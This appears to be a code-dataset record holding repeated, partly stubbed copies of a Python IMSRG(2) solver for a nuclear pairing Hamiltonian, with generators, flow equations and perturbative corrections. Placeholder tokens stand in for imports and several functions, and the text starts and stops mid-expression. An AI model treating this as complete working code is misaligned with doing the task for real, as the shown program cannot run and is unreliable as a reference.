Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body 